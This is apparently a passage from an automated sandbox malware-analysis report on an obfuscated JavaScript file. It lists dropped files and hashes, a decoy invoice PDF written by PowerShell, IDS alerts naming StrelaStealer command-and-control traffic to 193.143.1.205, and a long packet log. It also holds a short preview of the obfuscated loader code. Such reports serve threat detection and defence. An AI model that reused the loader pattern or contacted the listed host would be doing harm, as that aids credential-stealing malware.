Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9f174c85-4fd3-4c6c-a647-f05a3791ba1f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLaGZDwZGV3mlind9i4ufFXpAXkrj
MD5:	96E2EE6506759519A5E3E5E550F28388
SHA1:	477522A699526F3EC2270AD0B3D3B8D6609F8BBB
SHA-256:	D135FEF8231B87D1F758B3D31FC5467BC933321F7E8EACB316F933DBA36474D5
SHA-512:	C84E93CB72ABC0742C44BF13608472EDD30BE64358C0DA350D9D54C0A88EC45931D48CE1DA823FC527E5134E7277B16AFE0521F2716C067A519FDD390DB315CC
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17980), with CRLF line terminators
Entropy (8bit):	4.91923251391681
TrID:
File name:	2752019937704124971.js
File size:	21'533 bytes
MD5:	a49f488dc762356096dbd4e0506df40f
SHA1:	a04fcbcaf52d57ba5e32c2bd5310df2bdd8734d1
SHA256:	2291871e49842641934b74a21068112457772d467714d93051cd937650df2027
SHA512:	22fa983a87b7b75a2c80c107ac0d3995a92e6065fdc17e3b69c3da1f84ca9f0892f9b7d03fbfe2f1ff04563191a1cb93f87fca4b458ef89975ebc7ce019186c3
SSDEEP:	384:SRiWl26IVeEPH0gWx0EU2zrXwR6vYpFpty/fDXupw4lCK0O+xijg:SRiWsHVeEPH0gWx0EU2zrXwR6vYfm+E3
TLSH:	99A2960878BBC65E9AF205F470AB0CC452448DBDCD60CA4D63A6778A6A3475CDCF69BC
File Content Preview:	function bqnyz(){avwdtze=[1031,3079,5127,4103,2055,3072];var empdgxy=this[cxheq+mnvebhaew+taderv+jzfclrlnn+heqdmwk+cxoxos+xarkigbsu+qpupun](this[weuzjsxcl+uzukw+xyotj+taderv+fxyvm+cxheq+qpupun][otuyqo+taderv+heqdmwk+mnvebhaew+qpupun+heqdmwk+iisqwrox+vrmjh

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:19:24.126996+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T02:19:24.126996+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T02:19:26.797931+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:19:23.299474001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:23.304353952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:23.304418087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:23.309257984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:23.314112902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.126914024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.126949072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.126996040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.126996040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.127064943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.127079964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.127101898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.127227068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.127248049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.127258062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.127269983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.127280951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.127296925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.127300024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.127331018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.131788015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.131823063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.131831884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.131932020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.181236029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.181271076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.181329966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.248677969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.248769999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.248785973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.248812914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.248877048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.248910904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.248913050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.249087095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.249099970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.249139071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.249296904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.249311924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.249326944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.249331951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.249344110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.249357939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.249372005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.249375105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.249394894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.250226974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.250242949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.250257969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.250267029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.250355005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.250365019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.250379086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.250392914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.250420094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.251099110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.251133919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.251148939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.251163006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.251199007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.251245975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.301964045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.317647934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.348299980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.348321915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.348335028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.348453045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.370491982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370524883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370539904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370582104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.370614052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370628119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370641947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370646000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.370675087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.370771885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370815039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370842934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.370929003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370959044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.370992899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.371042967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.371057034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.371090889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.371123075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.371498108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.371530056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.371534109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.371545076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.371582985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.371649027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.371696949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.371712923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.371731043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.372131109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.372169971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.372189045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.372204065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.372236013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.372298956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.372312069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.372342110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.372349024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.372437954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.372452974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.372474909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.373080015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.373109102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.373122931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.373122931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.373158932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.373236895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.373251915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.373287916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.373332977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.373347044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.373359919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.373378038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.374006033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.374048948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.374053955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.374068975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.374099016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.374140024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.374154091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.374190092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.374236107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.374248028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.374281883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.408400059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.408421040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.408436060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.408513069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.438786030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.438894987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.471019983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.471050978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.471065998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.471168041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.471168041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.471183062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.471240997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492003918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492026091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492100000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492114067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492126942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492137909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492151976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492166042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492167950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492176056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492225885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492266893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492305040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492319107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492333889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492465973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492480040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492494106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492508888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492508888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492531061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492636919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492675066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492693901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492707014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492743015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492799997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492813110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.492845058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.492981911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493032932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493046999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493066072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.493143082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493155956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493170023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493175030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.493205070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.493299007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493431091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493463993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.493478060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493493080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493526936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.493606091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493622065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493637085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493655920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.493793964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493809938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.493840933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.493985891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494019032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.494041920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494056940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494086027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.494189978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494203091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494216919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494230986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494239092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.494270086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.494441032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494462013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494477034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494491100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494493961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.494504929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494518995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.494524002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.494554043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.495001078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495014906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495029926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495052099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.495129108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495141983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495156050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495163918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495165110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.495187044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.495266914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495301962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.495390892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495404005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495419979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495434046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495439053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.495450020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.495465994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.496998072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.497026920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.497040987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.497042894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.497073889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.497101068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.498740911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.498754025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.498792887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.498799086 CET	49730	80	192.168.2.4	193.143.1.205
